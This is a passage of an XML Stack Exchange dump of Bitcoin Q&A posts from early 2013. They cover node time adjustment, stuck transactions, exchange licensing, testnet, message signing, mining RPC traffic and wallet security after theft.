  <row Id="7407" PostTypeId="2" ParentId="7404" CreationDate="2013-02-01T09:05:25.767" Score="31" Body="&lt;p&gt;It takes the median time of the other clients connected, but only&lt;br&gt;&#xA; 1. if there are at least 5, and&lt;br&gt;&#xA; 2. if the median time does not differ from system time by more than 70 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For specifics, we look at &lt;code&gt;AddTimeData&lt;/code&gt;, in &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/timedata.cpp&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;timedata.cpp&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I have edited it down for length&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void AddTimeData(const CNetAddr&amp;amp; ip, int64 nTime)&#xA;{&#xA;    int64 nOffsetSample = nTime - GetTime();&#xA;    // Add data&#xA;    vTimeOffsets.input(nOffsetSample);&#xA;    if (vTimeOffsets.size() &amp;gt;= 5 &amp;amp;&amp;amp; vTimeOffsets.size() % 2 == 1)&#xA;    {&#xA;        int64 nMedian = vTimeOffsets.median();&#xA;        // Only let other nodes change our time by so much&#xA;        if (abs64(nMedian) &amp;lt; 70 * 60)&#xA;        {&#xA;            nTimeOffset = nMedian;&#xA;        }&#xA;        else&#xA;        {&#xA;            nTimeOffset = 0;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-03-08T18:26:22.527" LastActivityDate="2015-03-08T18:26:22.527" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7408" PostTypeId="1" CreationDate="2013-02-01T09:11:10.310" Score="3" ViewCount="882" Body="&lt;p&gt;Yesterday I sent 20 BTC to &lt;a href=&quot;http://blockchain.info/tx-index/48227440/30d1ef9aa05898b11b5ee4f5f5e703a822a821fb499c647b658fc3cb67a899b8&quot; rel=&quot;nofollow&quot;&gt;1Hj8kJ3rq4c4Hn9Prtw45Zue791f4Nc9L3&lt;/a&gt; with a 0.0001 fee and transaction Id &lt;a href=&quot;http://blockchain.info/tx-index/48227440/30d1ef9aa05898b11b5ee4f5f5e703a822a821fb499c647b658fc3cb67a899b8&quot; rel=&quot;nofollow&quot;&gt;30d1ef9aa05898b11b5ee4f5f5e703a822a821fb499c647b658fc3cb67a899b8&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Satoshi client said today that is still unconfirmed. But when I search blockchain.info for the id of the transaction, it says that the transaction was sent today (&gt;12 hours after I made it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way, if a transaction isn't relayed, to force the satoshi client to send it another time (the same transaction).&lt;/p&gt;&#xA;" OwnerUserId="2707" LastEditorUserId="2306" LastEditDate="2013-02-11T00:05:40.007" LastActivityDate="2013-03-13T00:38:25.367" Title="Transaction delayed &gt;12 hours by Satoshi Bitcoin client" Tags="|transactions|client|bitcoind|bitcoin-core|linux|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7409" PostTypeId="2" ParentId="7408" CreationDate="2013-02-01T09:28:49.637" Score="0" Body="&lt;p&gt;It may happen that the transaction is not sent to the network immediately. When creating a new transaction the client will announce its availability to its peers and they will fetch it. If in the meantime you turn your client off, it crashes or you lose connection to the peers, they will not be able to retrieve and broadcast it through the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No worry through as your client attempts to resend unconfirmed transactions at regular intervals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To force a resend you can use &lt;a href=&quot;https://en.bitcoin.it/wiki/Raw_Transactions#getrawtransaction_.3Ctxid.3E_.5Bverbose.3D0.5D&quot; rel=&quot;nofollow&quot;&gt;getrawtransaction&lt;/a&gt; and &lt;a href=&quot;https://en.bitcoin.it/wiki/Raw_Transactions#sendrawtransaction_.3Chex_string.3E&quot; rel=&quot;nofollow&quot;&gt;sendrawtransaction&lt;/a&gt; of the JSON-API. That worked for me a few times.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-02-01T09:28:49.637" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7410" PostTypeId="2" ParentId="7346" CreationDate="2013-02-01T15:51:16.320" Score="0" Body="&lt;p&gt;Tradehill was not shut down due to a lack of money transmission license. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But to the point of your question of what is required to maintain compliance, no one can really answer that as it depends greatly upon jurisdiction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, IMNAL, but I would say that a general rule is that if you are operating an exchange, you probably are playing with fire in a legal sense.  There are a lot of organizations worldwide that will claim authority over that type of business.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, a company like BitInstant and Coinbase are probably more in a safety zone for the simple reason that they are buying and selling their own stock of Bitcoins rather than doing so on behalf of a third party.  This falls much more under local jurisdictions and licensing requirements would vary greatly.  Does it require a money transmission license to operate this type of business?  Maybe.  It depends if the jurisdiction considers Bitcoin to be money or commodity.  If it considers Bitcoins to be a digital commodity, then you probably just need a business license, and perhaps a sales tax license.  If it considers Bitcoin to be money, then you likely will need a money transmission license, currency exchange license, or even potentially a banking license.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again IMNAL, and you should certainly consult one before starting any type of business, let alone one in the Bitcoin arena.&lt;/p&gt;&#xA;" OwnerUserId="1842" LastActivityDate="2013-02-01T15:51:16.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7411" PostTypeId="5" CreationDate="2013-02-01T19:23:59.800" Score="0" Body="&lt;p&gt;The testnet is separate network from the Bitcoin main network where developers can test new protocols and new software without risking any actual money. The current iteration of testnet is testnet3 which came about because the after the prior two testnets began to be traded and have value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The testnet is a completely separate currency that has no value. It has its own address types, ports, and nodes. It also has some modified consensus rules, notably one which changes the difficulty retarget algorithm to avoid making the difficulty too high and making the testnet unusable.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="48884" LastEditDate="2017-10-20T23:36:57.773" LastActivityDate="2017-10-20T23:36:57.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7412" PostTypeId="4" CreationDate="2013-02-01T19:23:59.800" Score="0" Body="The testnet is a network separate from the main Bitcoin network that allows developers to attempt modifications of the bitcoin protocol safely and test in-development software without risking money." OwnerUserId="2306" LastEditorUserId="13866" LastEditDate="2023-05-11T14:47:28.827" LastActivityDate="2023-05-11T14:47:28.827" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="7413" PostTypeId="1" CreationDate="2013-02-01T19:40:09.763" Score="2" ViewCount="402" Body="&lt;p&gt;I want to prove the total sum of BTC I have access to.  Therefore I think if I use message signing to assert &quot;owned by makerofthings7&quot; in each address, then anyone can compute the total coins in my wallet based on that assertion.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If we only focus on the encryption part (and not what the QT client permits), what is the most efficient way to prove that I control the funds of many addresses?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Are all addresses in my wallet that contain coins available for signing &amp;amp; verification?  In particular what happens to the &quot;change&quot; addresses that are dynamically created when sending and receiving Tx?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Can I have a single signed message that is signed by all the keys in my wallet?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2013-02-01T19:51:34.787" LastActivityDate="2013-02-01T20:55:51.310" Title="How can I use message signing to prove that I have private keys for many different accounts?" Tags="|wallet|private-key|cryptography|signature|message-signing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7414" PostTypeId="2" ParentId="6112" CreationDate="2013-02-01T19:55:14.190" Score="1" Body="&lt;p&gt;Taking a quick look here: &lt;a href=&quot;https://en.bitcoin.it/wiki/Selling_bitcoins&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Selling_bitcoins&lt;/a&gt; reveals that BTC-E is capable of doing PayPal withdrawals. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure how closely it meets your requirements, and PayPal clearly requires you to provide personally identifiable information, but it could be helpful.&lt;/p&gt;&#xA;" OwnerUserId="325" LastActivityDate="2013-02-01T19:55:14.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7415" PostTypeId="1" CreationDate="2013-02-01T20:06:33.407" Score="2" ViewCount="720" Body="&lt;p&gt;I'm looking for a chart of Bitcoin's price and market cap to other commodities like silver, gold, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does such a chart exist?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this useful? Because I want to see how the USD compares to similar non-Fiat, limited quantity resources.  This should show how Bitcoin is undervalued, or would give us insight into the trade volumes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it doesn't exist, I'll create it myself for the benefit of the community. Where can I get historic gold &amp;amp; silver pricing in USD?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2013-02-08T07:11:34.250" LastActivityDate="2013-02-08T07:11:34.250" Title="How does the price of 1 BTC compare to other commodities?" Tags="|trading|exchange-rate|value|marketplace|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7416" PostTypeId="1" CreationDate="2013-02-01T20:18:41.020" Score="5" ViewCount="391" Body="&lt;p&gt;What time of day (in GMT) does the volume get reset to zero?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to correlate this with the charts, however I'm unclear as to when this actually would occur&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2013-02-01T21:12:10.077" Title="When does MtGox &quot;volume&quot; get reset?" Tags="|mtgox|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7417" PostTypeId="2" ParentId="7416" CreationDate="2013-02-01T20:41:28.473" Score="6" Body="&lt;p&gt;It is a moving sum, it sums up the volume for the last 24 hours of trade.&#xA;Bitcoin trading never closes, so the usual way of calculating volume as the sum of trades that happen between the open and close of the market doesn't apply.&lt;/p&gt;&#xA;" OwnerUserId="2593" LastActivityDate="2013-02-01T20:41:28.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7418" PostTypeId="2" ParentId="5797" CreationDate="2013-02-01T20:45:18.037" Score="3" Body="&lt;p&gt;On testnet I get the following dump:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Miner -&gt; bitcoind&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;POST / HTTP/1.1&#xA;Authorization: Basic Y2RlY2tlcjphYmMxMjM=&#xA;Host: localhost:18332&#xA;Accept: */*&#xA;Accept-Encoding: deflate, gzip&#xA;Content-type: application/json&#xA;X-Mining-Extensions: longpoll midstate rollntime submitold&#xA;X-Mining-Hashrate: 583000000&#xA;Content-Length: 45&#xA;User-Agent: cgminer 2.8.1&#xA;&#xA;{&quot;method&quot;: &quot;getwork&quot;, &quot;params&quot;: [], &quot;id&quot;:0}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Response&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HTTP/1.1 200 OK&#xA;Date: Fri, 01 Feb 2013 20:40:06 +0000&#xA;Connection: keep-alive&#xA;Content-Length: 592&#xA;Content-Type: application/json&#xA;Server: bitcoin-json-rpc/v0.7.2.0-g32a928e-beta&#xA;&#xA;{&quot;result&quot;:{&quot;midstate&quot;:&quot;d330cdcb6296c8befe66dc38ca10589aa54cb364bf2f174aea7c9329263841f9&quot;,&quot;data&quot;:&quot;00000002b15704f4ecae05d077e54f6ec36da7f20189ef73b77603225ae56d2b00000000bcf59695a4e35a2f7535e1a86b306a3b08c212bf0b833764018fe39f01919381510c28111c0e8a3700000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000080020000&quot;,&quot;hash1&quot;:&quot;00000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000010000&quot;,&quot;target&quot;:&quot;00000000000000000000000000000000000000000000000000378a0e00000000&quot;},&quot;error&quot;:null,&quot;id&quot;:0}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Reporting successful blockwith diff 18:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;POST / HTTP/1.1&#xA;Authorization: Basic Y2RlY2tlcjphYmMxMjM=&#xA;Host: localhost:18332&#xA;Accept: */*&#xA;Accept-Encoding: deflate, gzip&#xA;Content-type: application/json&#xA;X-Mining-Extensions: longpoll midstate rollntime submitold&#xA;X-Mining-Hashrate: 661000000&#xA;Content-Length: 305&#xA;User-Agent: cgminer 2.8.1&#xA;&#xA;{&quot;method&quot;: &quot;getwork&quot;, &quot;params&quot;: [ &quot;00000002b15704f4ecae05d077e54f6ec36da7f20189ef73b77603225ae56d2b00000000b052cbbdeed2489ccb13a526b77fadceef4caf7d3bb82a9eb0b69ebb90f9f5a7510c27fd1c0e8a37fa531338000000800000000000000000000000000000000000000000000000000000000000000000000000000000000080020000&quot; ], &quot;id&quot;:1}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope I didn't mix the requests.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-02-01T20:45:18.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7419" PostTypeId="2" ParentId="7413" CreationDate="2013-02-01T20:55:51.310" Score="1" Body="&lt;p&gt;You can sign a message or export the private key of all the addresses in your wallet, including change addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to have a single message signed by all your keys the only solution I see would be to sign a message with the first key, then sign the signed message with a second key, ad nauseam.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Strictly from an encryption point of view I don't believe it is possible with ECDSA to sign with multiple keys in the same signature, I might be wrong here though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you may already have guessed, the most practical solution would probably be to consolidate your funds into a single address and sign a message with its private key. But it has a privacy tradeoff.&lt;/p&gt;&#xA;" OwnerUserId="2593" LastActivityDate="2013-02-01T20:55:51.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7420" PostTypeId="2" ParentId="7416" CreationDate="2013-02-01T21:12:10.077" Score="4" Body="&lt;p&gt;If you are referring to the volume displayed at the top of their site, that's a rolling 24 hour number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are referring to the volume displayed in BitcoinCharts, then that is 00:00:00 to 23:59:59 UTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the Bitcoin Charts metrics are per-market, so BTC/USD has its own volume as does BTC/EUR, BTC/GBP, BTC/JPY, etc. Whereas the volume number from Mt. Gox's site appears to be the total for all seventeen currency markets they operate.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-02-01T21:12:10.077" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7421" PostTypeId="5" CreationDate="2013-02-01T21:38:41.770" Score="0" Body="&lt;p&gt;A public key is the public half of a public/private ECDSA keypair. It is meant to be shared and without revealing the private key. Public keys can be used to verify a digital signature and encrypt data that can only be decrypted by the private key.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="48884" LastEditDate="2017-10-20T23:39:20.870" LastActivityDate="2017-10-20T23:39:20.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7422" PostTypeId="4" CreationDate="2013-02-01T21:38:41.770" Score="0" Body="A public key is the public half of the public/private keypair. Anyone can use a public key check that a signature is correct, but they can't generate the signature themselves with the public key." OwnerUserId="2306" LastEditorUserId="13866" LastEditDate="2023-05-11T13:49:55.907" LastActivityDate="2023-05-11T13:49:55.907" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="7423" PostTypeId="5" CreationDate="2013-02-01T21:40:18.510" Score="0" Body="&lt;p&gt;A private key is the half of the public/private ECDSA keypair that is kept private. It is a 256 bit integer that is either randomly generated or derived from another private key which was randomly generated. Private keys are typically handled by a wallet software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possession of a private key allows the owner to sign transactions which involve the public key derived from that private key. This includes any transaction which spends from a P2PKH or P2WPKH output where the public key hashes to the hash provided in the output, or in P2SH or P2WSH outputs where the public key is provided as part of either the redeem script or witness script as a requirement for spending the output (e.g. for a multisig redeem script).&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="48884" LastEditDate="2017-10-20T02:52:43.297" LastActivityDate="2017-10-20T02:52:43.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7424" PostTypeId="4" CreationDate="2013-02-01T21:40:18.510" Score="0" Body="Private keys are used for signing transactions and allow the holder of the private key to spend the Bitcoin associated with the address derived from the private key." OwnerUserId="2306" LastEditorUserId="13866" LastEditDate="2023-05-11T13:41:05.163" LastActivityDate="2023-05-11T13:41:05.163" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="7426" PostTypeId="1" CreationDate="2013-02-01T22:08:18.857" Score="3" ViewCount="1864" Body="&lt;p&gt;Does anyone know if it is safe to use blockchain.info &quot;Watch Only&quot; addresses?&#xA;The real question is what happens after I perform a transaction - sending BTCs out of such a wallet. Will blockchain.info record the &quot;offline&quot; private key used for such transaction somewhere on the server?&lt;/p&gt;&#xA;" OwnerUserId="2796" LastEditorUserId="2306" LastEditDate="2015-08-31T06:41:11.657" LastActivityDate="2015-08-31T06:41:11.657" Title="Is blockchain.info storing paper wallet (offline) private keys?" Tags="|blockchain.info|blockchain-wallet-app|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7427" PostTypeId="2" ParentId="7426" CreationDate="2013-02-01T22:34:25.757" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;blockchain doesn't record on their server any private key, or any key at all; or, they do, but they are encrypted and they can't access them, only you can&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&quot;watch only&quot; addresses are public keys only anyway&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-02-01T22:34:25.757" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="7428" PostTypeId="2" ParentId="6112" CreationDate="2013-02-01T23:08:14.807" Score="0" Body="&lt;p&gt;There are prepaid credit card that exists you just buy them at a convenience store for cash and you can go make transaction with bitcoin-otc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get started on bitoin-otc try out &lt;a href=&quot;http://wiki.bitcoin-otc.com/wiki/Bitcoin_address_authentication&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;, it explains you how to setup your bitcoin-otc with a bitcoin address, which is simpler than Gnupg (but I like gnupg more).&lt;/p&gt;&#xA;" OwnerUserId="845" LastEditorUserId="845" LastEditDate="2013-02-02T02:02:12.173" LastActivityDate="2013-02-02T02:02:12.173" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7429" PostTypeId="1" AcceptedAnswerId="7432" CreationDate="2013-02-02T03:28:46.083" Score="4" ViewCount="464" Body="&lt;p&gt;Assume one makes a secure online backup of their wallet and then their laptop or device that has it is stolen. For the sake of argument assume that the thief watched the user type their wallet password in somehow, or the owner kept the password in a text file or something... what is the fastest way to transfer the funds from the online backup into a new wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would imagine this would be something like a easy online service that imports a wallet so that user is not forced to use the slower default of: find computer, download client, wait forever for the blockchain sync, then transfer.&lt;/p&gt;&#xA;" OwnerUserId="2678" LastEditorUserId="2678" LastEditDate="2013-02-07T15:17:26.933" LastActivityDate="2013-02-07T16:28:30.500" Title="In case of physical wallet theft, quickest way to offload funds in wallet backup?" Tags="|wallet|backup|theft|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7430" PostTypeId="2" ParentId="7429" CreationDate="2013-02-02T05:55:08.550" Score="1" Body="&lt;p&gt;The debug window of the Bitcoin-Qt client provides the ability to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5614&quot;&gt;export private keys&lt;/a&gt;.  Those keys can then be imported to another client, either another Bitcoin-Qt wallet or to something like Blockchain.info/wallet.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2013-02-02T05:55:08.550" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7432" PostTypeId="2" ParentId="7429" CreationDate="2013-02-02T08:33:47.093" Score="4" Body="&lt;p&gt;You do not need to send coin to another wallet, but you surely need them to be sent to another address (since the compromised wallet has compromised addres). What I would is go to &lt;a href=&quot;http://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info&lt;/a&gt; and open a new wallet. Copy paste the first address you see, it'll be your new secure address since you just genereted it. Then &lt;a href=&quot;https://blockchain.info/wallet/import-wallet&quot; rel=&quot;nofollow&quot;&gt;import&lt;/a&gt; your old compromised wallet.dat to blockchain.info and then send all your coins to the address you copied (in the bitcoin client it would show as sending to self). Then you are safe if the transaction confirm since you are the only one able to use this address. You can then send those bitcoin to a new wallet.&lt;/p&gt;&#xA;" OwnerUserId="845" LastEditorUserId="2678" LastEditDate="2013-02-07T16:28:30.500" LastActivityDate="2013-02-07T16:28:30.500" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7433" PostTypeId="2" ParentId="7282" CreationDate="2013-02-02T10:40:00.533" Score="4" Body="&lt;p&gt;If you have SSH access on both machines you can simply create an SSH tunnel from machine &lt;strong&gt;B&lt;/strong&gt; to &lt;strong&gt;A&lt;/strong&gt; and forward port 8332 through it. That way the behavior is just like it would be if bitcoind were installed on both machines, the traffic between the two machines is encrypted with SSH and bitcoind does only have to listen to the loopback interface and would not be accessible from the network.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-02-02T10:40:00.533" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7434" PostTypeId="1" AcceptedAnswerId="7436" CreationDate="2013-02-02T11:12:40.237" Score="4" ViewCount="232" Body="&lt;p&gt;In the source code of the standard client, &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/checkpoints.cpp#L17&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;checkpoints.cpp&lt;/code&gt;&lt;/a&gt; has this comment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//&#xA;// What makes a good checkpoint block?&#xA;// + Is surrounded by blocks with reasonable timestamps&#xA;//   (no blocks before with a timestamp after, none after with&#xA;//    timestamp before)&#xA;// + Contains no strange transactions&#xA;//&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why should it matter? Presumably the client would have accepted it anyway if they were downloading it normally, and if you were to specify a later block, that would still force the client to download the strange block. I don't understand the point of this restriction.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-02-02T16:34:09.780" Title="Why is it important for checkpoints to contain well-formed blocks?" Tags="|bitcoin-core|checkpoints|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7435" PostTypeId="2" ParentId="3861" CreationDate="2013-02-02T14:58:10.840" Score="3" Body="&lt;p&gt;I use the &lt;a href=&quot;http://electrum.org&quot; rel=&quot;nofollow&quot;&gt;http://electrum.org&lt;/a&gt; bitcoin client as the block chain is hosted on a server and so you don't need to download it every time you open it. It also has some really cool security functions if you lose your local wallet file.&lt;/p&gt;&#xA;" OwnerUserId="2803" LastEditorUserId="516" LastEditDate="2013-02-02T19:09:12.487" LastActivityDate="2013-02-02T19:09:12.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7436" PostTypeId="2" ParentId="7434" CreationDate="2013-02-02T16:34:09.780" Score="1" Body="&lt;p&gt;There are two things :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Why are checkpoints needed in the first place,&lt;/li&gt;&#xA;&lt;li&gt;Why do the checkpointed blocks need to adhere to the standards you are quoting (which is your question)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I don't think checkpoints are required at all or useful in any way, there has been some debate around this, the fact remains that checkpoints are still present in the Satoshi implementation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe there is no specific reason why the checkpointed blocks must have &quot;reasonable timestamps&quot; or not contain &quot;strange transactions&quot;. The only reason I can think of is to not confuse someone reviewing the checkpointed blocks. As you said, such a block would still be downloaded and properly validated. So I think it has more to do with cosmetics and clarity than with an actual technical constraint. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Also note that &quot;strange transactions&quot; doesn't really mean much, it does not seem to be defined as a transaction that passes the &lt;code&gt;IsStandard&lt;/code&gt; check)&lt;/p&gt;&#xA;" OwnerUserId="2593" LastActivityDate="2013-02-02T16:34:09.780" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="7437" PostTypeId="2" ParentId="7426" CreationDate="2013-02-02T18:41:48.917" Score="6" Body="&lt;p&gt;My Wallet's warning for watch-only addresses (&quot;&lt;em&gt;You will not be able to send bitcoins from this address without later providing the private key&lt;/em&gt;&quot;) can be a bit confusing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible to specify an address and watch it. And it's possible to import a private key to be able to use the associated address as if it was generated with the My Wallet client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But these two features are really unrelated. You don't &quot;send out of a watch-only address&quot;, rather you import a private key thus making it no longer a watch-only address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the question is really whether My Wallet's &quot;Import Private key&quot; feature is safe. I don't have the official answer, but I see no reason why it shouldn't follow the same policy as other keys - the private key is encrypted in your browser (and as needed, decrypted and used to sign) and never leaves your computer in plaintext. If that's true, it is safe as the server never sees your plaintext key.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-02-02T18:41:48.917" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7438" PostTypeId="2" ParentId="7426" CreationDate="2013-02-02T18:58:05.527" Score="0" Body="&lt;p&gt;Blockchain.info wallet is opensource &lt;a href=&quot;https://github.com/blockchain&quot; rel=&quot;nofollow&quot;&gt;https://github.com/blockchain&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you can verify it yourself, that it is indeed not storing your private key.&lt;/p&gt;&#xA;" OwnerUserId="74" LastActivityDate="2013-02-02T18:58:05.527" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7439" PostTypeId="2" ParentId="7360" CreationDate="2013-02-02T21:36:31.853" Score="3" Body="&lt;p&gt;just some ideas:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Strategies could be attacking the trust structure of bitcoin:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Buying large quantities of bitcoins and dropping them on the market causes it value to fluctuate and make it appear weak  &lt;/li&gt;&#xA;&lt;li&gt;hacking peer sites (like mtgox), or bitcoin users directly (via trojans, etc.) leaves insecurities on where to use it  &lt;/li&gt;&#xA;&lt;li&gt;influencing media to emphasize about the dangers of bitcoin (selling drugs, weapons, etc.) will make it less accepted in society by creating fear&lt;/li&gt;&#xA;&lt;li&gt;creating various alternative currencies, flooding a lot of misleading information, to weaken the marketing of bitcoin by confusion and information overflow&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Could be attacking the technical side:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Creating big amounts of powerful ASICS and use them for false verifications&lt;/li&gt;&#xA;&lt;li&gt;stuffing the blockchain with spam information and useless transaction, making it to big to handle&lt;/li&gt;&#xA;&lt;li&gt;Blocking and filtering traffic from bitcoin clients, will make it necessary to use TOR (which could be also blocked in certain ways) and will render bitcoin unusable for the average person  &lt;/li&gt;&#xA;&lt;li&gt;Switching of the internet&lt;/li&gt;&#xA;&lt;li&gt;Brute Force attacks on the network to render it slow and unusable  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Could be attacking it by legal means:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Making it illegal to use bitcoin, and tracking users via ISPs, a few show trials and people won't want to use bitcoin again (so TOR could be again an option to circumvent)&lt;/li&gt;&#xA;&lt;li&gt;shutting down and making peer sites illegal (if they are not already, e.g. mtgox, silkroad)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Great leverage for Bitcoin will eventually come by using it via smartphones and alike, bringing the currency to the street markets. If they find a way to block these trades, they will also hurt bitcoin a lot.&lt;/p&gt;&#xA;" OwnerUserId="2804" LastEditorUserId="2804" LastEditDate="2013-10-12T16:59:23.550" LastActivityDate="2013-10-12T16:59:23.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
